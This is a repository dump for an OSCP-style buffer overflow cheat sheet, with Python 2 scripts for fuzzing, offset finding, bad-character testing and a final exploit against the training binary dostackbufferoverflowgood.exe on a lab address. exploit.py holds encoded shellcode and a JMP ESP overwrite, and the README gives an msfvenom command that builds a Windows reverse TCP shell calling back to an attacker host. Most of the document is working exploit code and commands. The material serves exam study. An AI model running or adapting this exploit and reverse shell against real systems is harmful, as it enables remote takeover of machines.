├── fuzzing.py ├── poc.py ├── connect.py ├── offset.py ├── badchars.py ├── exploit.py └── README.md /fuzzing.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | import socket 3 | 4 | RHOST = "192.168.56.112" 5 | RPORT = 31337 6 | 7 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | s.connect((RHOST, RPORT)) 9 | 10 | buf = "" 11 | buf += "A"*1024 12 | buf += "\n" 13 | 14 | s.send(buf) 15 | -------------------------------------------------------------------------------- /poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | import socket 3 | 4 | RHOST = "192.168.56.112" 5 | RPORT = 31337 6 | 7 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | s.connect((RHOST, RPORT)) 9 | 10 | buf = "" 11 | buf += "A" * 146 + "BBBB" + "C" * 300 12 | buf += "\n" 13 | 14 | s.send(buf) 15 | -------------------------------------------------------------------------------- /connect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | import socket 3 | 4 | # set up the IP and port we're connecting to 5 | RHOST = "192.168.56.112" 6 | RPORT = 31337 7 | 8 | # create a TCP connection (socket) 9 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 10 | s.connect((RHOST, RPORT)) 11 | 12 | # build a happy little message followed by a newline 13 | buf = "" 14 | buf += "Python Script" 15 | buf += "\n" 16 | 17 | # send the happy little message down the socket 18 | s.send(buf) 19 | 20 | # print out what we sent 21 | print "Sent: {0}".format(buf) 22 | 23 | # receive some data from the socket 24 | data = s.recv(1024) 25 | 26 | # print out what we received 27 | print "Received: {0}".format(data) 28 | -------------------------------------------------------------------------------- /offset.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | import socket 3 | 4 | RHOST = "192.168.56.112" 5 | RPORT = 31337 6 | 7 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | s.connect((RHOST, RPORT)) 9 | 10 | buf = "" 11 | buf += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B" 12 | buf += "\n" 13 | 14 | s.send(buf) 15 | -------------------------------------------------------------------------------- /badchars.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | import socket 3 | 4 | RHOST = "192.168.56.112" 5 | RPORT = 31337 6 | 7 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | s.connect((RHOST, RPORT)) 9 | 10 | buf = "" 11 | buf += "A" * 146 + "BBBB" + "C" * 10 12 | buf += ( 13 | "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" 14 | "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" 15 | "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" 16 | "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" 17 | "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" 18 | "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" 19 | "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" 20 | "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" 21 | ) 22 | buf += "\n" 23 | 24 | s.send(buf) 25 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | import socket 3 | 4 | RHOST = "192.168.56.112" 5 | RPORT = 31337 6 | 7 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | s.connect((RHOST, RPORT)) 9 | 10 | shellcode = ("\xdd\xc2\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x52\xbe\xd3\xb0\x95" 11 | "\x6b\x83\xeb\xfc\x31\x73\x13\x03\xa0\xa3\x77\x9e\xba\x2c\xf5" 12 | "\x61\x42\xad\x9a\xe8\xa7\x9c\x9a\x8f\xac\x8f\x2a\xdb\xe0\x23" 13 | "\xc0\x89\x10\xb7\xa4\x05\x17\x70\x02\x70\x16\x81\x3f\x40\x39" 14 | "\x01\x42\x95\x99\x38\x8d\xe8\xd8\x7d\xf0\x01\x88\xd6\x7e\xb7" 15 | "\x3c\x52\xca\x04\xb7\x28\xda\x0c\x24\xf8\xdd\x3d\xfb\x72\x84" 16 | "\x9d\xfa\x57\xbc\x97\xe4\xb4\xf9\x6e\x9f\x0f\x75\x71\x49\x5e" 17 | "\x76\xde\xb4\x6e\x85\x1e\xf1\x49\x76\x55\x0b\xaa\x0b\x6e\xc8" 18 | "\xd0\xd7\xfb\xca\x73\x93\x5c\x36\x85\x70\x3a\xbd\x89\x3d\x48" 19 | "\x99\x8d\xc0\x9d\x92\xaa\x49\x20\x74\x3b\x09\x07\x50\x67\xc9" 20 | "\x26\xc1\xcd\xbc\x57\x11\xae\x61\xf2\x5a\x43\x75\x8f\x01\x0c" 21 | "\xba\xa2\xb9\xcc\xd4\xb5\xca\xfe\x7b\x6e\x44\xb3\xf4\xa8\x93" 22 | "\xb4\x2e\x0c\x0b\x4b\xd1\x6d\x02\x88\x85\x3d\x3c\x39\xa6\xd5" 23 | "\xbc\xc6\x73\x79\xec\x68\x2c\x3a\x5c\xc9\x9c\xd2\xb6\xc6\xc3" 24 | "\xc3\xb9\x0c\x6c\x69\x40\xc7\x53\xc6\x72\x70\x3c\x15\x82\x7f" 25 | "\x07\x90\x64\x15\x67\xf5\x3f\x82\x1e\x5c\xcb\x33\xde\x4a\xb6" 26 | "\x74\x54\x79\x47\x3a\x9d\xf4\x5b\xab\x6d\x43\x01\x7a\x71\x79" 27 | "\x2d\xe0\xe0\xe6\xad\x6f\x19\xb1\xfa\x38\xef\xc8\x6e\xd5\x56" 28 | "\x63\x8c\x24\x0e\x4c\x14\xf3\xf3\x53\x95\x76\x4f\x70\x85\x4e" 29 | "\x50\x3c\xf1\x1e\x07\xea\xaf\xd8\xf1\x5c\x19\xb3\xae\x36\xcd" 30 | "\x42\x9d\x88\x8b\x4a\xc8\x7e\x73\xfa\xa5\xc6\x8c\x33\x22\xcf" 31 | "\xf5\x29\xd2\x30\x2c\xea\xf2\xd2\xe4\x07\x9b\x4a\x6d\xaa\xc6" 32 | "\x6c\x58\xe9\xfe\xee\x68\x92\x04\xee\x19\x97\x41\xa8\xf2\xe5" 33 | "\xda\x5d\xf4\x5a\xda\x77") 34 | 35 | buf = "" 36 | buf += "A" * 146 + "\xc3\x14\x04\x08" + "\x90" * 16 + shellcode 37 | buf += "\n" 38 | 39 | s.send(buf) 40 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # OSCP Buffer Overflow Cheat Sheet 2 | 3 | In this cheat sheet we will use `dostackbufferoverflowgod` as a vulnerable application in our exploration process (more info here: https://github.com/justinsteven/dostackbufferoverflowgood). 4 | 5 | The binary can be downloaded here: https://github.com/justinsteven/dostackbufferoverflowgood/blob/master/dostackbufferoverflowgood.exe 6 | 7 | Below are the download links for all the tools needed for the study: 8 | 9 | - Windows 7 Evaluation: https://gist.github.com/anonymous/c644cac9d77e2793742c13cf10d26cb8 (you can run on Windows 10 too) 10 | - Immunity Debugger: https://www.immunityinc.com/products/debugger/ 11 | - Mona.py: https://github.com/corelan/mona 12 | 13 | All installation processes are described in the links above. 14 | 15 | 16 | ## Fuzzing 17 | 18 | We will run the `connect.py` script to verify the application's response. 19 | 20 | After this step, we will run the `fuzzing.py` script to identify the point that the application will crash. But before that, on your Windows, attach the application to the Immunity Debugger. 21 | 22 | Change the amount of "A" in the script until the application broken. 23 | 24 | 25 | ## Offset 26 | 27 | After finding the crash point of the application, we will identify the offset to the EIP address. For this we will generate a string with the pattern_create, from the MSF suite 28 | 29 | ``` 30 | msf-pattern_create -l 1024 31 | ``` 32 | 33 | Copy the EIP address into the Immunity Debugger and use the pattern_offset to identify this address 34 | 35 | ``` 36 | msf-pattern_offset -q 39654138 37 | ``` 38 | 39 | Now we can run `poc.py` and verify that our EIP has been overwritten with the character "B" (42 in hexadecimal) 40 | 41 | 42 | ## Badchars 43 | 44 | To identify badchars we will use mona with the option `!mona bytearray`. 45 | 46 | Insert the mona output in the `badchars.py` script and run against the application to identify the badchars. 47 | 48 | 49 | There are many ways to carry out the badchar identification process (even mona has modules for that), but the most accurate way is visually. Follow the ASCII string in the Immunity Debugger and see what points this string crashed or skipped over. 50 | 51 | 52 | ## JMP ESP 53 | 54 | After knowing the badchars of the application, we will identify the JMP ESP that will be responsible for changing the natural flow of the application and making it run the shellcode that we will insert into the stack. 55 | 56 | The OPCODE for JMP ESP is `\xff\xe4` (in assembly). Using mona we will locate which register in the application that points to this OPCODE and so we can change the flow of the application to run our shellcode, rewriting the stack from its base (EBP). 57 | 58 | Run `!mona modules` and identify the unprotected modules. 59 | 60 | Run `!mona find -s "\xff\xe4"` to identify which of these pointers have the OPCODE for JMP ESP 61 | 62 | Run `!mona jmp -r esp -cpb "\x00\x0a"` to identify which pointers do not have the badchars found. 63 | 64 | By this point you may have already found the correct JMP ESP address. However, if you want to check, run `!mona find -s "\xff\xe4" -m dostackbufferoverflowgood.exe` directly on the identified vulnerable module. 65 | 66 | At this point you will have the base address of the stack or return address (EBP). We need to convert this address to little-endian format to use it in our code. Just invert the bytes to perform this conversion: 67 | 68 | ``` 69 | 0x080416BF <-> "\xBF\x16\x04\x08" 70 | ``` 71 | 72 | 73 | ## Exploit time 74 | 75 | We can now generate our shellcode excluding the badchars found: 76 | 77 | ``` 78 | msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.103 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a" 79 | ``` 80 | 81 | The `EXITFUNC=thread` option prevents the shellcode from crashing the application when executing our shellcode. 82 | 83 | Now just insert the msfvenom output in our `exploit.py` and run it against our application to gain access to the system exploiting the Buffer Overflow 84 | 85 | --------------------------------------------------------------------------------